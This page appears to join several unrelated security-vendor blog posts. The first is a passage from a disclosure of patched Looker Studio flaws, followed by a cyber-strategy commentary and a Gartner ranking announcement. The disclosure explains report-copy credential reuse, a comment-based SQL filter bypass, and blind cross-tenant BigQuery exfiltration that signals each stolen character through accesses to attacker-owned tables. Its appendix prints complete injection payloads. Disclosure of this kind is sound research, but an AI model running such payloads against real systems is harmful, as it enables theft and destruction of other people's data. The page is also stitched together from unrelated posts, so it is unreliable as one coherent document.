Alarmingly, there is no need to re-authenticate with the database credentials we do not know as attackers, since the backend kept the credentials from the victim’s original report. It is surprising to note that despite the fact that the console yielded this error message …
 

… the custom query ran behind the scenes, and we just added a new table to the victim’s DB, all from simply viewing a public Looker Studio report:
 

 

1. A victim creates a report as public or shares it with a specific recipient, and uses a JDBC connected data source such as PostgreSQL. The database password is safely hidden.
2. The attacker clicks "Make a Copy."
3. In a secure architecture, the credentials should stay with the original report. But the logic copied the credentials along with the report.
4. Because the attacker now "owns" the created report’s copy, they gain access to the Custom Query feature. They can now write arbitrary CRUD queries such as DELETE * FROM secret_table and Looker Studio will happily execute them using the original victim's saved credentials.

Attackers could search for public reports or alternatively have access to private ones that use these connectors, and fully hijack full databases of report owners - read, write, update, and delete.

Breaking a viewer’s credentials with 1-click vulnerabilitiesVulnerability #3: Cross-tenant SQL injection on BigQuery through native functions

Once we identified that a viewer’s credentials could be exploited as a 1-click path, this became clear: If we could force the victim's browser to execute our code under their own identity, the platform’s security model would essentially work for us, not against us.

The attack's hidden setup: Manipulating the connection

Normally, the UI only lets us connect reports to data sources we have permission to access, like BigQuery tables. However, the requests behind the scenes would look something like: "Connect my_project.my_dataset.my_table." 
What if we modify these requests?

We used a web proxy tool to intercept these. We then modified the HTTP requests (specifically, createBlockDatasource and publishDatasource) to replace our project's details, with those of a cross tenant victim (our own victim mock up project):
 

Even though we could not see the victim's actual data at this stage, we had now created a report that, in its configuration, believed it was connected to the victim's BigQuery table, all while using a viewer's credentials.
 

 

The next step: Native functions and dimensions

Now that our report was stealthily connected to the victim’s data, we needed a way to execute our own commands. This brought us to another powerful, but often overlooked, Looker Studio feature: Native Functions.

A dimension in Looker Studio is like a category or a field in your data (e.g., "customer name," "product ID"). Report editors can perform calculations on these fields to display specific data to a report viewer. Sometimes, you need to perform complex calculations on these dimensions that Looker Studio’s built-in functions can’t handle. That's where NATIVE_DIMENSION comes in. It allows you to write raw SQL directly into a field, and Looker Studio will run that SQL against your database, to give the report viewer the desired result. That SQL will run in a BigQuery job… 

This was it. NATIVE_DIMENSION lets us execute custom SQL and runs on a report load (live data). So we can create a data source that belongs to the victim, add a dimension with our malicious SQL, and share the report with the victim. Since the data source is set to the viewer's credentials, the victim will execute our malicious SQL while viewing and loading the shared report and data source, without even noticing.
 

But there was a catch: Google tries to block dangerous SQL. If we just typed SELECT * FROM victims_table, Looker Studio would respond with an "SQL queries are not allowed" error.

Google’s protection mechanism checked for specific keywords like SELECT and FROM. This hinted that the protection might be a simple text-based filter.

SQL comments to the rescue

This is where a classic SQL injection technique proved effective. In SQL, anything between /**/ (a multi-line comment), is not treated by SQL.

Our thought process: What if we tricked the filter by putting an empty comment between the forbidden words? We tried injecting SEL/**/ECT and FR/**/OM. To our surprise, the validation system accepted it. The filter did not catch a raw “SELECT” nor “FROM” and thought it was safe. The underlying BigQuery engine simply ignored the comment and executed the SELECT or FROM command.

Building the super-payload: Multi-statement SQL injection

A single SELECT statement is useful, but we wanted to steal all the data. This required more complex logic: iterating through tables, finding column names, and then extracting every single row. BigQuery had some limitations for a fully-working one-liner injection.

Our thought process: BigQuery, like many SQL databases, supports multi-statement scripts. You can write several SQL commands separated by semicolons and wrap them in a BEGIN...END block. This allows for complex programming logic directly within the SQL.

We realized we could craft an entire program inside that NATIVE_DIMENSION field. This program would:

1. Declare variables: For example, we could set up temporary storage to hold names of columns or rows as we discovered them.
2. Query the victim's schema: We used BigQuery's INFORMATION_SCHEMA.COLUMNS (a special table that describes the structure of a database) to dynamically find all the table and column names the victim had access to. We didn't need to know them beforehand.
3. Loop through everything: We built WHILE loops to systematically go through each column, and then each row within that column.
4. We commented out the last piece of SQL added by default by Looker Studio with “--”.

Blind exfiltration with cross-tenant logs

Now, how do we get the stolen data out? We couldn't just INSERT data into our own tables; that would require specific permissions (OAuth scopes) that the victim might not have granted.

We devised a trick using cross-tenant log analysis:

1. Attacker setup: In our own project, we created a series of empty BigQuery tables and made them publicly accessible to allow cross-tenant queries. We named them: exfil-a, exfil-b, exfil-c, exfil-1, exfil-2, and so on, for every character and number.
2. The "ping" mechanism: Inside our injected SQL, when we discovered a character from the victim's data (e.g., the letter 'L' from a column named "Liv"), we would execute a SELECT statement that looked like this: SELECT * FROM attacker_project.exfil-l.
3. Log analysis: The victim's Big Query job, running our injected script, would try to read from our exfil-l table. This read operation wouldn't return any data since our tables were empty, but it would generate a log entry on our Google Cloud project. By monitoring these logs and piecing together the sequence of table accesses, we could reconstruct the victim's data.

The payload can be viewed in the Appendix.

The attack in action: A 1-click data exfiltration

Combining all these pieces, we could create a malicious Looker Studio report. We could share it with a victim (even unchecking the "Notify" box for stealth) or embed it on a website.

The moment the victim opens the report (or visits our malicious website), their browser:

1. Connects to our report.
2. Uses their credentials to access the data source (which we've secretly configured to point to their BigQuery).
3. Executes our NATIVE_DIMENSION calculated field to display and load the victim’s data source we attached.
4. Our injected multi-statement script runs, systematically extracting all their BigQuery table and column names in their GCP project, then all the data.
5. Each extracted character triggers a "ping" to one of our public exfil tables.
6. We monitor our own GCP logs, and reconstruct the victim's entire database, all without them ever seeing a warning or granting explicit permission.
    

 

Conclusion and guidance

BI tools are often treated as read-only platforms trusted to visualize data, while keeping it safe from compromises. The surprising reality: One of the world’s most widely deployed BI platforms could have become a stealthy entry point into the heart of your cloud infrastructure or services data.

This research began with a simple question:

Can Looker Studio be used for more than just looking? The answer turned out to be far worse than expected.

Google has patched these issues globally. Since all instances of Looker Studio are managed by Google, no action is required by customers.

To limit exposure to these kinds of attacks, always audit who has "View" access to your reports whether they are public or private, treat BI connectors as a critical part of your attack surface, and do not allow the service to access a connector you do not use anymore. 

To limit access to Looker Studio connectors, you should follow the following guide:
 

In that specific example, Looker Studio has access to a lot of services, such as Google SQL, BigQuery, Cloud Storage, Analytics and Drive.

We would like to thank the Google Cloud Vulnerability Reward Program (VRP) team for their professional response and rapid mitigation of these issues.

Learn more about Tenable Cloud Security

Appendix: Payloads

Vulnerability 1:
 

injection_starts_here/**/FROM/**/UNNEST([STRUCT('a'/**/AS/**/clmn0_)])/**/GROUP/**/BY/**/1; BEGIN/**/DECLARE/**/dot/**/STRING;DECLARE/**/table_name2/**/STRING;DECLARE/**/sql_query1/**/ STRING;DECLARE/**/sql_query2/**/STRING;DECLARE/**/sql_query3/**/STRING; SET/**/dot/**/=/**/CHR(46);SET/**/table_name2/**/=/**/CONCAT ('lmatan-project',/**/dot,/**/'mydataset',/**/dot,/**/'exfila'); SET/**/sql_query2/**/=/**/CONCAT('SELECT/**/*/**/FROM/**/`',/**/table_name2,/**/'`'); EXECUTE/**/IMMEDIATE/**/sql_query2;END;SELECT/**/NULL/**/AS/**/t0_qt_1spiqerwsd

Vulnerability 2:

CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(50) NOT NULL, email VARCHAR(100) NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP );

 

Vulnerability 3:

NATIVE_DIMENSION("JSON_VALUE(name, '$.agea') AS clmn10_, (/**/SELECT AS STRUCT name /**/ FROM placeholderproject.placeholderdataset.placeholdertable LIMIT 1) AS clmn0_, t0.name AS clmn1_, NULL AS clmn2_, NULL AS clmn3_ /**/FROM placeholderproject.placeholderdataset.placeholdertable AS t0) GROUP BY clmn0_, clmn1_, clmn2_, clmn3_ ORDER BY 2 DESC;BEGIN DECLARE col_names ARRAY<STRING>; DECLARE col_index INT64 DEFAULT 1; DECLARE col_name STRING; DECLARE char_index INT64; DECLARE char STRING; DECLARE dyn_sql STRING; DECLARE row_array ARRAY<STRING>; DECLARE row_idx INT64; DECLARE row_val STRING; DECLARE row_char_index INT64; DECLARE row_char STRING; SET col_names = (/**/SELECT ARRAY_AGG(column_name) /**/FROM placeholderproject.placeholderdataset.INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'placeholdertable' AND data_type = 'STRING'); WHILE col_index <= ARRAY_LENGTH(col_names) DO SET col_name = col_names[ORDINAL(col_index)]; SET char_index = 1; WHILE char_index <= LENGTH(col_name) DO SET char = LOWER(SUBSTR(col_name, char_index, 1)); IF REGEXP_CONTAINS(char, r'^[a-z0-9]$') THEN SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' AS from_table, '%s' AS character, %d AS position, '%s' AS source_column /**/FROM attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s LIMIT 1 \"\"\", char, char, char_index, col_name, char); BEGIN EXECUTE IMMEDIATE dyn_sql; EXCEPTION WHEN ERROR THEN /**/SELECT FORMAT(\"Error accessing exfil%s for column name char '%s' (pos %d) of column '%s'\", char, char, char_index, col_name) AS error_message; END; END IF; SET char_index = char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM `attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` WHERE FALSE \"\"\"; SET dyn_sql = FORMAT(\"\"\" /**/SELECT ARRAY_AGG(CAST(%s AS STRING)) /**/FROM placeholderproject.placeholderdataset.placeholdertable WHERE %s IS NOT NULL \"\"\", col_name, col_name); EXECUTE IMMEDIATE dyn_sql INTO row_array; SET row_idx = 1; WHILE row_idx <= ARRAY_LENGTH(row_array) DO SET row_val = row_array[ORDINAL(row_idx)]; SET row_char_index = 1; WHILE row_char_index <= LENGTH(row_val) DO SET row_char = LOWER(SUBSTR(row_val, row_char_index, 1)); IF REGEXP_CONTAINS(row_char, r'^[a-z0-9]$') THEN SET dyn_sql = FORMAT(\"\"\" /**/SELECT 'exfil%s' AS from_table, '%s' AS character, %d AS position_in_value, '%s' AS column_name, '%s' AS full_value /**/FROM attackerplaceholderproject.attackerplaceholderdataset.attackerplaceholdertable%s LIMIT 1 \"\"\", row_char, row_char, row_char_index, col_name, row_val, row_char); BEGIN EXECUTE IMMEDIATE dyn_sql; EXCEPTION WHEN ERROR THEN /**/SELECT FORMAT(\"Error accessing exfil%s for row value char '%s' (pos %d) of column '%s'\", row_char, row_char, row_char_index, col_name) AS error_message; END; END IF; SET row_char_index = row_char_index + 1; END WHILE; EXECUTE IMMEDIATE \"\"\" /**/SELECT 'exfil-' AS from_table, 'd' AS character, 12 AS position, 'name' AS source_column /**/FROM `attackerplaceholderproject.attackerplaceholderdataset.INFORMATION_SCHEMA.TABLES` WHERE FALSE \"\"\"; SET row_idx = row_idx + 1; END WHILE; SET col_index = col_index + 1; END WHILE; END; /**/SELECT COUNT(1) AS t0_qt_m7hbtdzlsd, clmn0_ AS t0_qt_pwfmdd4lsd, clmn1_ /**/FROM ( /**/SELECT (/**/SELECT AS STRUCT 1 AS a) AS clmn0_, t0.name AS clmn1_ /**/FROM `placeholderproject.placeholderdataset.placeholdertable` AS t0 --","INT64")

 

President Trump's Cyber Strategy for America signals a shift toward risk-based security and cooperation across emerging technologies. While centered on U.S. interests, the strategy provides a blueprint to collectively strengthen global cyber resilience.

Key takeaways

1. Cybersecurity as a global security imperative: The strategy signals that cybersecurity has evolved beyond a mere "IT issue" to become a foundational requirement for national security, economic resilience, and global stability.
2. Strategic shift to risk-based, outcome-focused governance: There is a clear move away from static "checklist" compliance toward streamlined, outcome-focused regulations that enable agility and elevate cyber risk to the boardroom.
3. Secure-by-design for emerging technology: To maintain a strategic advantage, security must be embedded from the earliest stages of design and deployment for AI and quantum systems, requiring deep visibility into models, data, and infrastructure.

The release of President Trump's Cyber Strategy for America marks a pivotal moment for how the United States thinks about cyber risk, resilience, and responsibility.

At less than 10 pages, the strategy is intentionally concise, but its implications are anything but small. Designed as a strategic north star, it aims to consolidate cybersecurity policymaking that has long been diffused across the federal government, align resources around shared priorities, and set the stage for more detailed implementation through executive actions and agency level plans.

More importantly, the strategy recognizes a reality the cybersecurity community has understood for years: cyber threats are not confined to either the public or private sector. Decisions made by the U.S. government reverberate globally, shaping international norms, influencing regulatory approaches, and raising expectations for how both public and private organizations manage cyber risk.

At Tenable, we see the 2026 U.S. national cyber strategy as a clear signal that cybersecurity is no longer just an IT issue, it's a national, economic, and global security imperative. Below, we share our perspective on why the Strategy matters and how its six pillars align with the evolving cyber threat landscape.

Why the national cyber strategy matters beyond Washington

Cyber adversaries operate at machine speed, across jurisdictions and with increasing coordination. Nation-states, cybercriminal organizations and hybrid actors target governments, critical infrastructure and private enterprises using many of the same techniques to exploit vulnerabilities, misconfigurations, identities and other exposures.

The U.S. national cyber strategy establishes:

• Signals to allies and adversaries about deterrence, defense, and consequence
• Expectations for accountability, especially at the executive and board level
• Standards for modernization, including Zero Trust, cloud security, AI security, and post-quantum cryptography
• A blueprint for public–private collaboration, recognizing that the private sector owns and operates much of the world’s digital infrastructure

In many ways, this Strategy will influence how cybersecurity programs are shaped not just across federal agencies, but across global enterprises that do business with the U.S. government, or that look to U.S. leadership for direction.

Pillar 1: Shape adversary behavior

Strategy focus: Deterrence, collective defense, and real consequences for cyber adversaries.

This pillar reflects a shift from purely reactive defense to a proactive approach that actively shapes the cyber threat environment. The Strategy emphasizes using the full range of cyber capabilities, defensive and offensive, to reset the risk calculus for adversaries and counter the global spread of authoritarian and surveillance based technologies.

Tenable’s POV:

Deterrence in cyberspace starts with clarity. Clarity about what matters most, where risk truly exists, and how adversaries are likely to exploit it. In an interconnected digital economy, shaping adversary behavior is increasingly a multinational effort, requiring shared norms, intelligence and coordinated action among allies and partners.

Global cyber stability depends on collective defense models that align public and private sector capabilities across borders. When organizations, government and industry alike continuously understand and reduce their most critical exposures, they contribute to an environment where malicious activity becomes more difficult to scale, conceal, or sustain. This shared posture reinforces international norms around responsible state behavior in cyberspace while raising the cost of aggression for adversaries worldwide.

Pillar 2: Promote common sense regulation

Strategy focus: Streamlining cyber regulations, reducing checklist-driven compliance, and elevating cybersecurity to the boardroom.

The Strategy calls for regulatory reform that prioritizes real risk reduction over costly, fragmented compliance exercises. It also underscores the need to remove barriers to government procurement so agencies can access the best available technology.

Tenable’s POV:

Effective cybersecurity regulation should drive better decisions, not just better documentation. Globally, governments are converging on risk-based, outcomes focused approaches that emphasize accountability, transparency, and resilience rather than prescriptive controls.

Elevating cybersecurity to the CEO and board level requires a common language for risk, ideally one rooted in international, consensus-driven standards rather than fragmented national rules. When government regulations align with these global benchmarks, it enables multinational organizations to more effectively prioritize and align security investments across different jurisdictions. By using these shared standards to clearly understand and communicate risk, leaders can transform governance into a catalyst for resilience rather than a mere compliance exercise.

Pillar 3: Modernize and secure federal government networks

Strategy focus: Rapid modernization, Zero Trust, post-quantum cryptography (PQC), cloud transition, and AI-powered defense.

This pillar reinforces the urgency of modernizing aging federal systems while preparing for future threats, including quantum computing. It also highlights the need for proactive threat hunting and AI-enabled defenses.

Tenable’s POV:

As agencies continue to adopt AI-driven security tools to enhance mission outcomes, these technologies must be implemented on top of modernized, zero trust aligned environments to ensure innovation does not outpace security. Establishing this hardened baseline is critical to enabling secure AI adoption at scale while maintaining the visibility required to close AI exposure management gaps.

This is essential because modernization is not a destination; it’s an ongoing process. Federal agencies need deep visibility across their network to reduce systemic risk introduced by outdated infrastructure and fragmented architectures. Without sustained awareness of how systems and dependencies evolve over time, modernization efforts risk introducing new vulnerabilities even as they eliminate old ones.

Pillar 4: Secure critical infrastructure

Strategy focus: Prioritizing critical sectors, strengthening incident response coordination, and reducing reliance on adversarial technology.

From energy and telecommunications to healthcare, water, and data centers, critical infrastructure remains a top target for adversaries. The Strategy also emphasizes better coordination between federal, state, and local entities.

Tenable’s POV:

Critical infrastructure security requires raising the bar for protection across the energy, transportation, healthcare, telecommunications, water, and data center sectors. The priority must be aligning baseline security requirements with outcome-focused, consensus-driven standards. This approach ensures that as the threat environment evolves, these interconnected ecosystems can achieve security outcomes commensurate with the risk. For instance, as we add additional compute to power AI growth, there needs to be a greater focus on adding data center security. We have seen that "whole-of-state" approaches, where resources and threat intelligence are shared across all levels of government, are highly successful in building this collective resilience.

Reducing systemic risk requires prioritization, focusing limited resources on exposures that could cause the greatest operational or societal impact. It also demands stronger coordination across federal, state, local, and international partners, recognizing that disruption in one region can cascade globally. Building resilience at scale means aligning preparedness, response, and recovery efforts in collaboration, not in isolation.

Pillar 5: Sustain superiority in critical and emerging technology

Strategy focus: Securing AI, protecting intellectual property, advancing PQC, and strengthening cyber diplomacy.

The strategy is clear: security must be embedded into emerging technologies from design to deployment. This includes AI systems, data centers, and the broader technology supply chain.

For the U.S. government, the ability to both securely operationalize AI within federal agencies and promote trustworthy AI adoption nationwide is becoming a source of strategic advantage. This dual focus shapes not only domestic outcomes but also helps establish the global standards and norms for how these technologies should be governed.

Tenable’s POV:

Emerging technologies amplify both opportunity and risk. Federal agencies are currently under growing pressure to harness the power of AI to enhance mission outcomes.Yet as AI transforms operations, it also introduces new risks, from data exposure to adversarial manipulation, that demand an equal focus on security. To meet this challenge, regulators are shifting from static, compliance-driven oversight to more dynamic, risk-based approaches. Agencies must balance innovation with resilient, secure AI adoption to ensure these technologies advance mission success without compromising national security. As AI, quantum computing, and advanced digital infrastructure become foundational to innovation, security must be embedded from the earliest stages of design and deployment.

At Tenable, we believe that achieving this requires complete understanding of how AI applications, infrastructure, identities, agents and data are interconnected to create real risk. Agencies need to continuously discover AI across their full environment, including approved, unapproved and embedded usage. They also need to secure the systems that power AI and ensure secure, compliant AI adoption with guardrails to reduce data exposure and misuse without slowing innovation or productivity. Without a clear view of these systems and their associated applications, organizations cannot effectively identify and close AI exposure management gaps or address the unique supply chain risks that AI introduces. This visibility-first, security-by-design approach is what protects intellectual property and strengthens international confidence in emerging technologies as AI adoption accelerates worldwide.

Pillar 6: Build cyber talent and capacity

Strategy focus: Establishing a U.S. Cyber Academy, reducing barriers to training, and fostering innovation through startup incubation.

The cyber workforce gap remains one of the most pressing challenges globally. The Strategy looks to expand and modernize how cyber talent is developed and retained.

Tenable’s POV:

The cyber workforce challenge is real. Governments face similar shortages, burnout risks, and skills gaps as digital environments grow more complex and interconnected.

Building sustainable cyber capacity requires investment in education, cross-border collaboration, and public–private partnerships that share knowledge and best practices. By reducing complexity and empowering practitioners with clear priorities, governments and organizations can strengthen collective defense and ensure the next generation of cyber professionals is equipped to protect a globally connected digital future.

Looking ahead

The 2026 national cyber strategy sets a clear direction: cybersecurity is foundational to national security, economic resilience and global stability.

As we look at next steps for implementation of the six pillars, collaboration between government and industry will be critical. At Tenable, we’re committed to partnering with federal agencies, critical infrastructure operators, and global organizations to help turn strategic intent into measurable exposure management and risk reduction.

Security is no longer a siloed effort. Find out how Tenable integrates mature industrial security capabilities into an enterprise-ready approach for unified exposure management.

Key takeaways

1. In our view, this year’s Gartner Magic Quadrant for CPS Protection Platforms validates a critical market transition away from a sole focus on niche, standalone OT tools. By integrating mature OT capabilities into our Tenable One exposure management platform, we are helping organizations move past siloed security to a proactive, unified view of risk across IT, cloud, identity, and cyber-physical systems.
2. We find that our placement in the report demonstrates how Tenable OT Security delivers "ground truth" asset visibility and risk-based vulnerability management as mature technical strengths, powered by our industry-leading threat intelligence database and 65,000+ IDS rules for network intrusion and anomaly detection.
3. We believe that eliminating silos between IT and OT is essential. Our placement reflects our ability to help customers communicate cyber exposure across their entire attack surface.

We are proud to announce that Gartner® has recognized Tenable as a Challenger in the 2026 Magic Quadrant™ for CPS Protection Platforms. Here at Tenable, our mission has always been to provide the shared clarity and context organizations need to effectively secure their most critical assets and connected IT/OT environment. 

The traditional boundaries between IT, cloud, and operational technology (OT) have effectively vanished. In today’s modern enterprise, a cyber-physical threat is rarely an isolated event—it is an exposure problem that spans the entire attack surface. In our view, this recognition further validates our commitment to a unified approach. While many in the industry still view cyber-physical systems (CPS) as a siloed security challenge, Tenable is doubling down on helping our customers integrate these critical assets into a holistic exposure management strategy.

Technical maturity and coverage

Success in OT security is no longer measured solely by the number of sensors deployed or the size of your asset inventory alone. It is defined by how effectively an organization can translate OT threat intelligence and security data into actionable business context. Tenable OT Security, part of the Tenable One exposure management platform, addresses this by integrating mature OT security capabilities into a unified view, breaking down the traditional silos that hold teams back.

In the 2026 report, we believe Gartner ranked us favorably due to the strength of Tenable’s core functionality and our unique position in the market with a broader security platform that spans IT, OT, and beyond. Our Tenable OT Security product is mature in terms of core capabilities, such as asset discovery and vulnerability management, which are core focus areas for Tenable’s research and product development teams. Additionally, Tenable OT Security integrates seamlessly with the Tenable One exposure management platform and Tenable Security Center for advanced reporting and analytics.

In our view, we were recognized by Gartner for our commitment to serving a diverse range of industries. This is evidenced by our deep coverage and technical expertise in Safe Active Query, leveraging native CPS/OT protocols, as well as detection for BACnet/IP and Intelligent Platform Management Interface (IPMI) to identify unauthorized changes to mission-critical OT assets such as HVAC and power systems. 

IPMI is an often vulnerable, hardware-based specification for out-of-band (OOB) server management via a Baseboard Management Controller (BMC), allowing remote power control, console access, and monitoring, even when the OS is down. Due to potential exposure, it requires strict, isolated network security to prevent unauthorized access.

Additionally, we find that our broad geographic coverage and extensive channel-partner network in North America, Europe, and Asia/Pacific contributed significantly to our recognition, demonstrating our long-standing commitment to global customer support and scalability. 

Our maturity in this space is the engine behind our OT security offerings. We help our customers translate technical OT security data into a true understanding of their cyber exposure.

Mature asset discovery and vulnerability management

Comprehensive visibility is the prerequisite for any security program. Tenable OT Security uses a proprietary hybrid discovery engine that combines passive network monitoring with safe, active querying to ensure "ground truth" situational awareness. Unlike passive-only tools that wait for traffic, our solution safely queries controllers (PLCs, RTUs, and IEDs) in their native protocols to identify critical details—including vendor, firmware, backplane details, and more—without risk of operational disruption.

By applying our Vulnerability Priority Rating (VPR) to your OT/IoT data, Tenable OT Security identifies the small fraction of vulnerabilities that pose the greatest actual risk, allowing teams to prioritize remediation during limited maintenance windows. When this data is accessed in Tenable One, OT assets are evaluated on the same scale as IT and cloud assets, giving security leaders access to a single, comparable set of metrics to communicate cyber exposure.

Ease of use and centralized administration

One of the greatest challenges in OT security is the friction between "IT security" mandates and "OT availability" goals. Tenable OT Security bridges this gap by providing a unified view that appeals to both the control room and the C-suite. Tenable OT Security offers centralized administration with granular role-based access control (RBAC) capabilities. It combines configuration-level OT data from our industrial core platform sensors with IT data from Tenable Nessus, and agents for unified oversight.

Beyond external threats, operational resilience depends on maintaining the integrity of device configurations. Tenable OT Security provides granular configuration control to track every change at the logic level. We detect unauthorized modifications to PLC code, firmware downloads, or setpoint changes, which enables rapid recovery from cyber incidents or human errors while significantly reducing potential downtime. And by combining OT-specific insights with IT vulnerabilities and identity data for AI-powered attack path analysis, Tenable One helps security teams pinpoint exactly how an attacker could pivot from a compromised IT identity to disrupt critical OT assets.

Strategic roadmap and product innovation

Our customer-first roadmap reflects a consistent focus on enterprise-wide scalability and ease of use. Throughout 2025, we prioritized enhancing our CPS exposure management capabilities by introducing agent-based deployment and centralized administration in Tenable OT Security Enterprise Manager. In our view, these capabilities—including bulk and rule-based software updates and OS upgrades from a single console—are essential for organizations managing security across distributed global sites.

Our vision for 2026 includes advancing global subnet management to improve asset tracking and the detection of unauthorized traffic. We also plan to integrate deeper CPS security capabilities directly inside our core vulnerability management solutions, Tenable Vulnerability Management and Tenable Security Center, lowering the barrier to entry for security teams inheriting responsibility for securing CPS/OT environments regardless of which Tenable solutions they use.

Customer experience

We are committed to a customer-centric approach that prioritizes ease of use and operational safety. From user-focused demos and self-service onboarding, we are committed to helping security teams reduce the friction of adoption. Additionally, we believe our phased Proof of Value (PoV) methodology is designed specifically for the unique constraints and complexity associated with today’s OT/IT environments. By intentionally structuring our deployments to respect operational freeze days and scheduled safety windows, we are able to partner effectively with engineering teams to ensure that security never comes at the expense of uptime or availability.

Connecting the dots

To us, being named a Challenger in this year’s report is a testament to our commitment to proactive security. We believe that by treating CPS assets as a core part of the broader attack surface, organizations can move from reactive defenses to true exposure management. 

This recognition follows our placement as a Leader in the inaugural 2025 Gartner® Magic Quadrant™ for Exposure Assessment Platforms, which we find reinforces our long-standing perspective that the market is rapidly shifting toward exposure management. 

Tenable remains focused on helping you bridge the IT/OT divide, ensuring that security never comes at the expense of availability and operational integrity.

Download the 2026 Gartner® Magic Quadrant™ for CPS Protection Platforms

Learn more:

• Request a personalized demo to see the power of Tenable One in action.
• Get in touch to discuss your unique IT/OT security compliance challenges.
• Download our security leaders' guide to managing risk across IT and CPS.

Source: Gartner, Magic Quadrant for CPS Protection Platforms, Katell Thielemann, Ruggero Contu, Wam Voster, Sumit Rajput, March 3, 2026

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates and is used herein with permission. All rights reserved. 

Gartner does not endorse any vendor, product or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s Research & Advisory organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.